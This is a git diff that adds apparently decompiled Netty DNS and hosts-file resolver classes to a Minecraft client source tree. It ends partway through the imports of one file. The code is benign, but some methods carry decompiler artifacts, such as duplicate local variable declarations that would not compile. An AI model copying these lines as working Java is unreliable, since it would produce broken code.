+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHostsFileEntriesResolver
+  implements HostsFileEntriesResolver
+{
+  private final Map<String, InetAddress> entries = HostsFileParser.parseSilently();
+  
+  public DefaultHostsFileEntriesResolver() {}
+  
+  public InetAddress address(String inetHost) { return (InetAddress)entries.get(inetHost.toLowerCase(Locale.ENGLISH)); }
+}
diff --git a/src/minecraft/io/netty/resolver/DefaultNameResolver.java b/src/minecraft/io/netty/resolver/DefaultNameResolver.java
new file mode 100644
index 0000000..e9b5f4b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/DefaultNameResolver.java
@@ -0,0 +1,54 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Promise;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultNameResolver
+  extends InetNameResolver
+{
+  public DefaultNameResolver(EventExecutor executor)
+  {
+    super(executor);
+  }
+  
+  protected void doResolve(String inetHost, Promise<InetAddress> promise) throws Exception
+  {
+    try {
+      promise.setSuccess(InetAddress.getByName(inetHost));
+    } catch (UnknownHostException e) {
+      promise.setFailure(e);
+    }
+  }
+  
+  protected void doResolveAll(String inetHost, Promise<List<InetAddress>> promise) throws Exception
+  {
+    try {
+      promise.setSuccess(Arrays.asList(InetAddress.getAllByName(inetHost)));
+    } catch (UnknownHostException e) {
+      promise.setFailure(e);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/HostsFileEntriesResolver.java b/src/minecraft/io/netty/resolver/HostsFileEntriesResolver.java
new file mode 100644
index 0000000..db8ab91
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/HostsFileEntriesResolver.java
@@ -0,0 +1,31 @@
+package io.netty.resolver;
+
+import java.net.InetAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface HostsFileEntriesResolver
+{
+  public static final HostsFileEntriesResolver DEFAULT = new DefaultHostsFileEntriesResolver();
+  
+  public abstract InetAddress address(String paramString);
+}
diff --git a/src/minecraft/io/netty/resolver/HostsFileParser.java b/src/minecraft/io/netty/resolver/HostsFileParser.java
new file mode 100644
index 0000000..555d044
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/HostsFileParser.java
@@ -0,0 +1,174 @@
+package io.netty.resolver;
+
+import io.netty.util.NetUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.Reader;
+import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HostsFileParser
+{
+  private static final String WINDOWS_DEFAULT_SYSTEM_ROOT = "C:\\Windows";
+  private static final String WINDOWS_HOSTS_FILE_RELATIVE_PATH = "\\system32\\drivers\\etc\\hosts";
+  private static final String X_PLATFORMS_HOSTS_FILE_PATH = "/etc/hosts";
+  private static final Pattern WHITESPACES = Pattern.compile("[ \t]+");
+  
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(HostsFileParser.class);
+  
+  private static File locateHostsFile() {
+    File hostsFile;
+    if (PlatformDependent.isWindows()) {
+      File hostsFile = new File(System.getenv("SystemRoot") + "\\system32\\drivers\\etc\\hosts");
+      if (!hostsFile.exists()) {
+        hostsFile = new File("C:\\Windows\\system32\\drivers\\etc\\hosts");
+      }
+    } else {
+      hostsFile = new File("/etc/hosts");
+    }
+    return hostsFile;
+  }
+  
+
+
+
+
+  public static Map<String, InetAddress> parseSilently()
+  {
+    File hostsFile = locateHostsFile();
+    try {
+      return parse(hostsFile);
+    } catch (IOException e) {
+      logger.warn("Failed to load and parse hosts file at " + hostsFile.getPath(), e); }
+    return Collections.emptyMap();
+  }
+  
+
+
+
+
+
+  public static Map<String, InetAddress> parse()
+    throws IOException
+  {
+    return parse(locateHostsFile());
+  }
+  
+
+
+
+
+
+  public static Map<String, InetAddress> parse(File file)
+    throws IOException
+  {
+    ObjectUtil.checkNotNull(file, "file");
+    if ((file.exists()) && (file.isFile())) {
+      return parse(new BufferedReader(new FileReader(file)));
+    }
+    return Collections.emptyMap();
+  }
+  
+
+
+
+
+
+
+  public static Map<String, InetAddress> parse(Reader reader)
+    throws IOException
+  {
+    ObjectUtil.checkNotNull(reader, "reader");
+    BufferedReader buff = new BufferedReader(reader);
+    try {
+      Map<String, InetAddress> entries = new HashMap();
+      String line;
+      int commentPosition; while ((line = buff.readLine()) != null)
+      {
+        commentPosition = line.indexOf('#');
+        if (commentPosition != -1) {
+          line = line.substring(0, commentPosition);
+        }
+        
+        line = line.trim();
+        if (!line.isEmpty())
+        {
+
+
+
+          List<String> lineParts = new ArrayList();
+          for (String s : WHITESPACES.split(line)) {
+            if (!s.isEmpty()) {
+              lineParts.add(s);
+            }
+          }
+          
+
+          if (lineParts.size() >= 2)
+          {
+
+
+
+            byte[] ipBytes = NetUtil.createByteArrayFromIpAddressString((String)lineParts.get(0));
+            
+            if (ipBytes != null)
+            {
+
+
+
+
+              for (int i = 1; i < lineParts.size(); i++) {
+                String hostname = (String)lineParts.get(i);
+                String hostnameLower = hostname.toLowerCase(Locale.ENGLISH);
+                if (!entries.containsKey(hostnameLower))
+                {
+
+                  entries.put(hostnameLower, InetAddress.getByAddress(hostname, ipBytes)); }
+              } }
+          }
+        } }
+      return entries;
+    } finally {
+      try {
+        buff.close();
+      } catch (IOException e) {
+        logger.warn("Failed to close a reader", e);
+      }
+    }
+  }
+  
+  private HostsFileParser() {}
+}
diff --git a/src/minecraft/io/netty/resolver/InetNameResolver.java b/src/minecraft/io/netty/resolver/InetNameResolver.java
new file mode 100644
index 0000000..778cb84
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/InetNameResolver.java
@@ -0,0 +1,55 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class InetNameResolver
+  extends SimpleNameResolver<InetAddress>
+{
+  private volatile AddressResolver<InetSocketAddress> addressResolver;
+  
+  protected InetNameResolver(EventExecutor executor)
+  {
+    super(executor);
+  }
+  
+
+
+
+  public AddressResolver<InetSocketAddress> asAddressResolver()
+  {
+    AddressResolver<InetSocketAddress> result = addressResolver;
+    if (result == null) {
+      synchronized (this) {
+        result = addressResolver;
+        if (result == null) {
+          addressResolver = (result = new InetSocketAddressResolver(executor(), this));
+        }
+      }
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/InetSocketAddressResolver.java b/src/minecraft/io/netty/resolver/InetSocketAddressResolver.java
new file mode 100644
index 0000000..c5b3273
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/InetSocketAddressResolver.java
@@ -0,0 +1,96 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InetSocketAddressResolver
+  extends AbstractAddressResolver<InetSocketAddress>
+{
+  final NameResolver<InetAddress> nameResolver;
+  
+  public InetSocketAddressResolver(EventExecutor executor, NameResolver<InetAddress> nameResolver)
+  {
+    super(executor, InetSocketAddress.class);
+    this.nameResolver = nameResolver;
+  }
+  
+  protected boolean doIsResolved(InetSocketAddress address)
+  {
+    return !address.isUnresolved();
+  }
+  
+
+
+  protected void doResolve(final InetSocketAddress unresolvedAddress, final Promise<InetSocketAddress> promise)
+    throws Exception
+  {
+    nameResolver.resolve(unresolvedAddress.getHostName()).addListener(new FutureListener()
+    {
+      public void operationComplete(Future<InetAddress> future) throws Exception
+      {
+        if (future.isSuccess()) {
+          promise.setSuccess(new InetSocketAddress((InetAddress)future.getNow(), unresolvedAddress.getPort()));
+        } else {
+          promise.setFailure(future.cause());
+        }
+      }
+    });
+  }
+  
+
+
+  protected void doResolveAll(final InetSocketAddress unresolvedAddress, final Promise<List<InetSocketAddress>> promise)
+    throws Exception
+  {
+    nameResolver.resolveAll(unresolvedAddress.getHostName()).addListener(new FutureListener()
+    {
+      public void operationComplete(Future<List<InetAddress>> future) throws Exception
+      {
+        if (future.isSuccess()) {
+          List<InetAddress> inetAddresses = (List)future.getNow();
+          List<InetSocketAddress> socketAddresses = new ArrayList(inetAddresses.size());
+          
+          for (InetAddress inetAddress : inetAddresses) {
+            socketAddresses.add(new InetSocketAddress(inetAddress, unresolvedAddress.getPort()));
+          }
+          promise.setSuccess(socketAddresses);
+        } else {
+          promise.setFailure(future.cause());
+        }
+      }
+    });
+  }
+  
+  public void close()
+  {
+    nameResolver.close();
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/NameResolver.java b/src/minecraft/io/netty/resolver/NameResolver.java
new file mode 100644
index 0000000..b710cea
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/NameResolver.java
@@ -0,0 +1,20 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import java.io.Closeable;
+import java.util.List;
+
+public abstract interface NameResolver<T>
+  extends Closeable
+{
+  public abstract Future<T> resolve(String paramString);
+  
+  public abstract Future<T> resolve(String paramString, Promise<T> paramPromise);
+  
+  public abstract Future<List<T>> resolveAll(String paramString);
+  
+  public abstract Future<List<T>> resolveAll(String paramString, Promise<List<T>> paramPromise);
+  
+  public abstract void close();
+}
diff --git a/src/minecraft/io/netty/resolver/NoopAddressResolver.java b/src/minecraft/io/netty/resolver/NoopAddressResolver.java
new file mode 100644
index 0000000..b5700d9
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/NoopAddressResolver.java
@@ -0,0 +1,51 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Promise;
+import java.net.SocketAddress;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NoopAddressResolver
+  extends AbstractAddressResolver<SocketAddress>
+{
+  public NoopAddressResolver(EventExecutor executor)
+  {
+    super(executor);
+  }
+  
+  protected boolean doIsResolved(SocketAddress address)
+  {
+    return true;
+  }
+  
+  protected void doResolve(SocketAddress unresolvedAddress, Promise<SocketAddress> promise) throws Exception
+  {
+    promise.setSuccess(unresolvedAddress);
+  }
+  
+  protected void doResolveAll(SocketAddress unresolvedAddress, Promise<List<SocketAddress>> promise)
+    throws Exception
+  {
+    promise.setSuccess(Collections.singletonList(unresolvedAddress));
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/NoopAddressResolverGroup.java b/src/minecraft/io/netty/resolver/NoopAddressResolverGroup.java
new file mode 100644
index 0000000..9fcdbfe
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/NoopAddressResolverGroup.java
@@ -0,0 +1,36 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NoopAddressResolverGroup
+  extends AddressResolverGroup<SocketAddress>
+{
+  public static final NoopAddressResolverGroup INSTANCE = new NoopAddressResolverGroup();
+  
+  private NoopAddressResolverGroup() {}
+  
+  protected AddressResolver<SocketAddress> newResolver(EventExecutor executor) throws Exception
+  {
+    return new NoopAddressResolver(executor);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/RoundRobinInetSocketAddressResolver.java b/src/minecraft/io/netty/resolver/RoundRobinInetSocketAddressResolver.java
new file mode 100644
index 0000000..c0d20d6
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/RoundRobinInetSocketAddressResolver.java
@@ -0,0 +1,75 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ThreadLocalRandom;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RoundRobinInetSocketAddressResolver
+  extends InetSocketAddressResolver
+{
+  public RoundRobinInetSocketAddressResolver(EventExecutor executor, NameResolver<InetAddress> nameResolver)
+  {
+    super(executor, nameResolver);
+  }
+  
+
+
+
+  protected void doResolve(final InetSocketAddress unresolvedAddress, final Promise<InetSocketAddress> promise)
+    throws Exception
+  {
+    nameResolver.resolveAll(unresolvedAddress.getHostName()).addListener(new FutureListener()
+    {
+      public void operationComplete(Future<List<InetAddress>> future) throws Exception
+      {
+        if (future.isSuccess()) {
+          List<InetAddress> inetAddresses = (List)future.getNow();
+          int numAddresses = inetAddresses.size();
+          if (numAddresses == 0) {
+            promise.setFailure(new UnknownHostException(unresolvedAddress.getHostName()));
+          }
+          else
+          {
+            int index = numAddresses == 1 ? 0 : ThreadLocalRandom.current().nextInt(numAddresses);
+            
+            promise.setSuccess(new InetSocketAddress((InetAddress)inetAddresses.get(index), unresolvedAddress.getPort()));
+          }
+        }
+        else {
+          promise.setFailure(future.cause());
+        }
+      }
+    });
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/SimpleNameResolver.java b/src/minecraft/io/netty/resolver/SimpleNameResolver.java
new file mode 100644
index 0000000..982a501
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/SimpleNameResolver.java
@@ -0,0 +1,95 @@
+package io.netty.resolver;
+
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SimpleNameResolver<T>
+  implements NameResolver<T>
+{
+  private final EventExecutor executor;
+  
+  protected SimpleNameResolver(EventExecutor executor)
+  {
+    this.executor = ((EventExecutor)ObjectUtil.checkNotNull(executor, "executor"));
+  }
+  
+
+
+
+  protected EventExecutor executor()
+  {
+    return executor;
+  }
+  
+  public final Future<T> resolve(String inetHost)
+  {
+    Promise<T> promise = executor().newPromise();
+    return resolve(inetHost, promise);
+  }
+  
+  public Future<T> resolve(String inetHost, Promise<T> promise)
+  {
+    ObjectUtil.checkNotNull(inetHost, "inetHost");
+    ObjectUtil.checkNotNull(promise, "promise");
+    try
+    {
+      doResolve(inetHost, promise);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+  public final Future<List<T>> resolveAll(String inetHost)
+  {
+    Promise<List<T>> promise = executor().newPromise();
+    return resolveAll(inetHost, promise);
+  }
+  
+  public Future<List<T>> resolveAll(String inetHost, Promise<List<T>> promise)
+  {
+    ObjectUtil.checkNotNull(inetHost, "inetHost");
+    ObjectUtil.checkNotNull(promise, "promise");
+    try
+    {
+      doResolveAll(inetHost, promise);
+      return promise;
+    } catch (Exception e) {
+      return promise.setFailure(e);
+    }
+  }
+  
+  protected abstract void doResolve(String paramString, Promise<T> paramPromise)
+    throws Exception;
+  
+  protected abstract void doResolveAll(String paramString, Promise<List<T>> paramPromise)
+    throws Exception;
+  
+  public void close() {}
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DefaultDnsCache.java b/src/minecraft/io/netty/resolver/dns/DefaultDnsCache.java
new file mode 100644
index 0000000..dddd03e
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DefaultDnsCache.java
@@ -0,0 +1,226 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.EventLoop;
+import io.netty.handler.codec.dns.DnsRecord;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultDnsCache
+  implements DnsCache
+{
+  private final ConcurrentMap<String, List<DnsCacheEntry>> resolveCache = PlatformDependent.newConcurrentHashMap();
+  
+  private final int minTtl;
+  
+  private final int maxTtl;
+  
+  private final int negativeTtl;
+  
+  public DefaultDnsCache()
+  {
+    this(0, Integer.MAX_VALUE, 0);
+  }
+  
+
+
+
+
+
+  public DefaultDnsCache(int minTtl, int maxTtl, int negativeTtl)
+  {
+    this.minTtl = ObjectUtil.checkPositiveOrZero(minTtl, "minTtl");
+    this.maxTtl = ObjectUtil.checkPositiveOrZero(maxTtl, "maxTtl");
+    if (minTtl > maxTtl) {
+      throw new IllegalArgumentException("minTtl: " + minTtl + ", maxTtl: " + maxTtl + " (expected: 0 <= minTtl <= maxTtl)");
+    }
+    
+    this.negativeTtl = ObjectUtil.checkPositiveOrZero(negativeTtl, "negativeTtl");
+  }
+  
+
+
+
+
+  public int minTtl()
+  {
+    return minTtl;
+  }
+  
+
+
+
+
+  public int maxTtl()
+  {
+    return maxTtl;
+  }
+  
+
+
+
+  public int negativeTtl()
+  {
+    return negativeTtl;
+  }
+  
+  public void clear()
+  {
+    for (Iterator<Map.Entry<String, List<DnsCacheEntry>>> i = resolveCache.entrySet().iterator(); i.hasNext();) {
+      Map.Entry<String, List<DnsCacheEntry>> e = (Map.Entry)i.next();
+      i.remove();
+      cancelExpiration((List)e.getValue());
+    }
+  }
+  
+  public boolean clear(String hostname)
+  {
+    ObjectUtil.checkNotNull(hostname, "hostname");
+    boolean removed = false;
+    for (Iterator<Map.Entry<String, List<DnsCacheEntry>>> i = resolveCache.entrySet().iterator(); i.hasNext();) {
+      Map.Entry<String, List<DnsCacheEntry>> e = (Map.Entry)i.next();
+      if (((String)e.getKey()).equals(hostname)) {
+        i.remove();
+        cancelExpiration((List)e.getValue());
+        removed = true;
+      }
+    }
+    return removed;
+  }
+  
+  private static boolean emptyAdditionals(DnsRecord[] additionals) {
+    return (additionals == null) || (additionals.length == 0);
+  }
+  
+  public List<DnsCacheEntry> get(String hostname, DnsRecord[] additionals)
+  {
+    ObjectUtil.checkNotNull(hostname, "hostname");
+    if (!emptyAdditionals(additionals)) {
+      return null;
+    }
+    return (List)resolveCache.get(hostname);
+  }
+  
+  private List<DnsCacheEntry> cachedEntries(String hostname) {
+    List<DnsCacheEntry> oldEntries = (List)resolveCache.get(hostname);
+    List<DnsCacheEntry> entries;
+    List<DnsCacheEntry> entries; if (oldEntries == null) {
+      List<DnsCacheEntry> newEntries = new ArrayList(8);
+      oldEntries = (List)resolveCache.putIfAbsent(hostname, newEntries);
+      entries = oldEntries != null ? oldEntries : newEntries;
+    } else {
+      entries = oldEntries;
+    }
+    return entries;
+  }
+  
+
+  public void cache(String hostname, DnsRecord[] additionals, InetAddress address, long originalTtl, EventLoop loop)
+  {
+    ObjectUtil.checkNotNull(hostname, "hostname");
+    ObjectUtil.checkNotNull(address, "address");
+    ObjectUtil.checkNotNull(loop, "loop");
+    if ((maxTtl == 0) || (!emptyAdditionals(additionals))) {
+      return;
+    }
+    int ttl = Math.max(minTtl, (int)Math.min(maxTtl, originalTtl));
+    List<DnsCacheEntry> entries = cachedEntries(hostname);
+    DnsCacheEntry e = new DnsCacheEntry(hostname, address);
+    
+    synchronized (entries) {
+      if (!entries.isEmpty()) {
+        DnsCacheEntry firstEntry = (DnsCacheEntry)entries.get(0);
+        if (firstEntry.cause() != null) {
+          assert (entries.size() == 1);
+          firstEntry.cancelExpiration();
+          entries.clear();
+        }
+      }
+      entries.add(e);
+    }
+    
+    scheduleCacheExpiration(entries, e, ttl, loop);
+  }
+  
+  public void cache(String hostname, DnsRecord[] additionals, Throwable cause, EventLoop loop)
+  {
+    ObjectUtil.checkNotNull(hostname, "hostname");
+    ObjectUtil.checkNotNull(cause, "cause");
+    ObjectUtil.checkNotNull(loop, "loop");
+    
+    if ((negativeTtl == 0) || (!emptyAdditionals(additionals))) {
+      return;
+    }
+    List<DnsCacheEntry> entries = cachedEntries(hostname);
+    DnsCacheEntry e = new DnsCacheEntry(hostname, cause);
+    
+    synchronized (entries) {
+      int numEntries = entries.size();
+      for (int i = 0; i < numEntries; i++) {
+        ((DnsCacheEntry)entries.get(i)).cancelExpiration();
+      }
+      entries.clear();
+      entries.add(e);
+    }
+    
+    scheduleCacheExpiration(entries, e, negativeTtl, loop);
+  }
+  
+  private static void cancelExpiration(List<DnsCacheEntry> entries) {
+    int numEntries = entries.size();
+    for (int i = 0; i < numEntries; i++) {
+      ((DnsCacheEntry)entries.get(i)).cancelExpiration();
+    }
+  }
+  
+
+
+  private void scheduleCacheExpiration(final List<DnsCacheEntry> entries, final DnsCacheEntry e, int ttl, EventLoop loop)
+  {
+    e.scheduleExpiration(loop, new Runnable()
+    {
+      public void run() {
+        synchronized (entries) {
+          entries.remove(e);
+          if (entries.isEmpty())
+            resolveCache.remove(e.hostname()); } } }, ttl, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return "DefaultDnsCache(minTtl=" + minTtl + ", maxTtl=" + maxTtl + ", negativeTtl=" + negativeTtl + ", cached resolved hostname=" + resolveCache.size() + ")";
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DefaultDnsServerAddresses.java b/src/minecraft/io/netty/resolver/dns/DefaultDnsServerAddresses.java
new file mode 100644
index 0000000..70f1424
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DefaultDnsServerAddresses.java
@@ -0,0 +1,46 @@
+package io.netty.resolver.dns;
+
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class DefaultDnsServerAddresses
+  extends DnsServerAddresses
+{
+  protected final InetSocketAddress[] addresses;
+  private final String strVal;
+  
+  DefaultDnsServerAddresses(String type, InetSocketAddress[] addresses)
+  {
+    this.addresses = addresses;
+    
+    StringBuilder buf = new StringBuilder(type.length() + 2 + addresses.length * 16);
+    buf.append(type).append('(');
+    
+    for (InetSocketAddress a : addresses) {
+      buf.append(a).append(", ");
+    }
+    
+    buf.setLength(buf.length() - 2);
+    buf.append(')');
+    
+    strVal = buf.toString();
+  }
+  
+  public String toString()
+  {
+    return strVal;
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsAddressResolverGroup.java b/src/minecraft/io/netty/resolver/dns/DnsAddressResolverGroup.java
new file mode 100644
index 0000000..ca634d9
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsAddressResolverGroup.java
@@ -0,0 +1,115 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.ChannelFactory;
+import io.netty.channel.EventLoop;
+import io.netty.channel.ReflectiveChannelFactory;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.resolver.AddressResolver;
+import io.netty.resolver.AddressResolverGroup;
+import io.netty.resolver.InetSocketAddressResolver;
+import io.netty.resolver.NameResolver;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.List;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DnsAddressResolverGroup
+  extends AddressResolverGroup<InetSocketAddress>
+{
+  private final ChannelFactory<? extends DatagramChannel> channelFactory;
+  private final DnsServerAddresses nameServerAddresses;
+  private final ConcurrentMap<String, Promise<InetAddress>> resolvesInProgress = PlatformDependent.newConcurrentHashMap();
+  private final ConcurrentMap<String, Promise<List<InetAddress>>> resolveAllsInProgress = PlatformDependent.newConcurrentHashMap();
+  
+
+  public DnsAddressResolverGroup(Class<? extends DatagramChannel> channelType, DnsServerAddresses nameServerAddresses)
+  {
+    this(new ReflectiveChannelFactory(channelType), nameServerAddresses);
+  }
+  
+
+  public DnsAddressResolverGroup(ChannelFactory<? extends DatagramChannel> channelFactory, DnsServerAddresses nameServerAddresses)
+  {
+    this.channelFactory = channelFactory;
+    this.nameServerAddresses = nameServerAddresses;
+  }
+  
+  protected final AddressResolver<InetSocketAddress> newResolver(EventExecutor executor)
+    throws Exception
+  {
+    if (!(executor instanceof EventLoop)) {
+      throw new IllegalStateException("unsupported executor type: " + StringUtil.simpleClassName(executor) + " (expected: " + StringUtil.simpleClassName(EventLoop.class));
+    }
+    
+
+
+    return newResolver((EventLoop)executor, channelFactory, nameServerAddresses);
+  }
+  
+
+
+
+
+  @Deprecated
+  protected AddressResolver<InetSocketAddress> newResolver(EventLoop eventLoop, ChannelFactory<? extends DatagramChannel> channelFactory, DnsServerAddresses nameServerAddresses)
+    throws Exception
+  {
+    NameResolver<InetAddress> resolver = new InflightNameResolver(eventLoop, newNameResolver(eventLoop, channelFactory, nameServerAddresses), resolvesInProgress, resolveAllsInProgress);
+    
+
+
+
+
+    return newAddressResolver(eventLoop, resolver);
+  }
+  
+
+
+
+
+  protected NameResolver<InetAddress> newNameResolver(EventLoop eventLoop, ChannelFactory<? extends DatagramChannel> channelFactory, DnsServerAddresses nameServerAddresses)
+    throws Exception
+  {
+    return new DnsNameResolverBuilder(eventLoop).channelFactory(channelFactory).nameServerAddresses(nameServerAddresses).build();
+  }
+  
+
+
+
+
+
+
+
+  protected AddressResolver<InetSocketAddress> newAddressResolver(EventLoop eventLoop, NameResolver<InetAddress> resolver)
+    throws Exception
+  {
+    return new InetSocketAddressResolver(eventLoop, resolver);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsCache.java b/src/minecraft/io/netty/resolver/dns/DnsCache.java
new file mode 100644
index 0000000..fe8569b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsCache.java
@@ -0,0 +1,19 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.EventLoop;
+import io.netty.handler.codec.dns.DnsRecord;
+import java.net.InetAddress;
+import java.util.List;
+
+public abstract interface DnsCache
+{
+  public abstract void clear();
+  
+  public abstract boolean clear(String paramString);
+  
+  public abstract List<DnsCacheEntry> get(String paramString, DnsRecord[] paramArrayOfDnsRecord);
+  
+  public abstract void cache(String paramString, DnsRecord[] paramArrayOfDnsRecord, InetAddress paramInetAddress, long paramLong, EventLoop paramEventLoop);
+  
+  public abstract void cache(String paramString, DnsRecord[] paramArrayOfDnsRecord, Throwable paramThrowable, EventLoop paramEventLoop);
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsCacheEntry.java b/src/minecraft/io/netty/resolver/dns/DnsCacheEntry.java
new file mode 100644
index 0000000..fcf6308
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsCacheEntry.java
@@ -0,0 +1,82 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.EventLoop;
+import io.netty.util.concurrent.ScheduledFuture;
+import io.netty.util.internal.ObjectUtil;
+import java.net.InetAddress;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DnsCacheEntry
+{
+  private final String hostname;
+  private final InetAddress address;
+  private final Throwable cause;
+  private volatile ScheduledFuture<?> expirationFuture;
+  
+  public DnsCacheEntry(String hostname, InetAddress address)
+  {
+    this.hostname = ((String)ObjectUtil.checkNotNull(hostname, "hostname"));
+    this.address = ((InetAddress)ObjectUtil.checkNotNull(address, "address"));
+    cause = null;
+  }
+  
+  public DnsCacheEntry(String hostname, Throwable cause) {
+    this.hostname = ((String)ObjectUtil.checkNotNull(hostname, "hostname"));
+    this.cause = ((Throwable)ObjectUtil.checkNotNull(cause, "cause"));
+    address = null;
+  }
+  
+  public String hostname() {
+    return hostname;
+  }
+  
+  public InetAddress address() {
+    return address;
+  }
+  
+  public Throwable cause() {
+    return cause;
+  }
+  
+  void scheduleExpiration(EventLoop loop, Runnable task, long delay, TimeUnit unit) {
+    assert (expirationFuture == null) : "expiration task scheduled already";
+    expirationFuture = loop.schedule(task, delay, unit);
+  }
+  
+  void cancelExpiration() {
+    ScheduledFuture<?> expirationFuture = this.expirationFuture;
+    if (expirationFuture != null) {
+      expirationFuture.cancel(false);
+    }
+  }
+  
+  public String toString()
+  {
+    if (cause != null) {
+      return hostname + '/' + cause;
+    }
+    return address.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/DnsNameResolver.java b/src/minecraft/io/netty/resolver/dns/DnsNameResolver.java
new file mode 100644
index 0000000..75f0636
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/DnsNameResolver.java
@@ -0,0 +1,826 @@
+package io.netty.resolver.dns;
+
+import io.netty.bootstrap.Bootstrap;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFactory;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoop;
